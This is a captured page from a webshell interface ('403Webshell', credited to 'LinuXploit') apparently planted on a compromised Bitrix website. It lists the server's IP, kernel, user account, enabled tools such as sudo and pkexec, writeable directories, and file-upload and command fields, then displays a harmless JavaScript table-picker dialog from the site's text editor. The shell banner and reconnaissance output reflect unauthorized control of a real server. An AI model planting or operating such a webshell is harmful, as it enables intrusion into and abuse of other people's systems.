403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/text-editor/src/plugins/table/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/text-editor/src/plugins/table/table-dialog.js
import { Dom, Tag, Type } from 'main.core';
import { type BaseCache, MemoryCache } from 'main.core.cache';
import { type BaseEvent, EventEmitter } from 'main.core.events';
import { Popup } from 'main.popup';
import './table-dialog.css';

export type TableDialogOptions = {
	targetNode?: HTMLElement,
	events?: Object<string, (event: BaseEvent) => {}>,
}

export default class TableDialog extends EventEmitter
{
	#popup: Popup = null;
	#targetNode: HTMLElement = null;
	#refs: BaseCache<HTMLElement> = new MemoryCache();
	#lastSelectedBox: HTMLElement = null;

	constructor(dialogOptions)
	{
		super();
		this.setEventNamespace('BX.UI.TextEditor.TableDialog');

		const options: TableDialogOptions = Type.isPlainObject(dialogOptions) ? dialogOptions : {};

		this.setTargetNode(options.targetNode);
		this.subscribeFromOptions(options.events);
	}

	show(): void
	{
		this.getPopup().adjustPosition({ forceBindPosition: true });
		this.getPopup().show();
	}

	hide(): void
	{
		this.getPopup().close();
	}

	isShown(): boolean
	{
		return this.#popup !== null && this.#popup.isShown();
	}

	destroy(): void
	{
		this.getPopup().destroy();
	}

	setTargetNode(container: HTMLElement): void
	{
		if (Type.isElementNode(container))
		{
			this.#targetNode = container;
		}
	}

	getTargetNode(): HTMLElement | null
	{
		return this.#targetNode;
	}

	getPopup(): Popup
	{
		if (this.#popup === null)
		{
			const targetNode = this.getTargetNode();
			const rect = targetNode.getBoundingClientRect();
			const targetNodeWidth = rect.width;

			this.#popup = new Popup({
				autoHide: true,
				closeByEsc: true,
				padding: 0,
				content: Tag.render`
					<div class="ui-text-editor-table-dialog" onclick="${this.#handleClick.bind(this)}">
						${this.getGridContainer()}
						${this.getCaptionContainer()}
					</div>
				`,
				bindElement: this.getTargetNode(),
				events: {
					onClose: () => {
						this.emit('onClose');
					},
					onDestroy: () => {
						this.emit('onDestroy');
					},
					onShow: (event) => {
						const popup = event.getTarget();
						const popupWidth = popup.getPopupContainer().offsetWidth;
						const offsetLeft = (targetNodeWidth / 2) - (popupWidth / 2);
						const angleShift = Popup.getOption('angleLeftOffset') - Popup.getOption('angleMinTop');

						popup.setAngle({ offset: popupWidth / 2 - angleShift });
						popup.setOffset({ offsetLeft: offsetLeft + Popup.getOption('angleLeftOffset') });

						this.#lastSelectedBox = null;
						this.#highlightBoxes(1, 1);
					},
				},
			});
		}

		return this.#popup;
	}

	getGridContainer(): HTMLElement
	{
		return this.#refs.remember('grid', () => {
			const buttons = [];
			for (let index = 0; index < 100; index++)
			{
				const row = Math.floor(index / 10);
				const column = index % 10;

				buttons.push(Tag.render`
					<button
						class="ui-text-editor-table-dialog-box"
						data-column="${column + 1}"
						data-row="${row + 1}"
					></button>
				`);
			}

			return Tag.render`
				<div 
					class="ui-text-editor-table-dialog-grid" 
					onmousemove="${this.#handleMouseMove.bind(this)}"
				>${buttons}</div>
			`;
		});
	}

	getCaptionContainer(): HTMLElement
	{
		return this.#refs.remember('caption', () => {
			return Tag.render`<div class="ui-text-editor-table-dialog-caption"></div>`;
		});
	}

	#handleMouseMove(event: MouseEvent)
	{
		if (this.#lastSelectedBox !== event.target && Dom.hasClass(event.target, 'ui-text-editor-table-dialog-box'))
		{
			const { row, column } = event.target.dataset;
			this.#highlightBoxes(row, column);
			this.#lastSelectedBox = event.target;
		}
	}

	#handleClick(event: MouseEvent)
	{
		if (this.#lastSelectedBox)
		{
			const { row, column } = this.#lastSelectedBox.dataset;
			this.emit('onSelect', { rows: row, columns: column });
		}
	}

	#highlightBoxes(rows: number, columns: number)
	{
		let index = 0;
		for (const box of this.getGridContainer().children)
		{
			const boxRow = Math.floor(index / 10);
			const boxColumn = index % 10;
			const selected = boxRow < rows && boxColumn < columns;
			if (selected)
			{
				Dom.addClass(box, '--selected');
			}
			else
			{
				Dom.removeClass(box, '--selected');
			}

			index++;
		}

		this.getCaptionContainer().textContent = rows && columns ? `${rows} x ${columns}` : '';
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit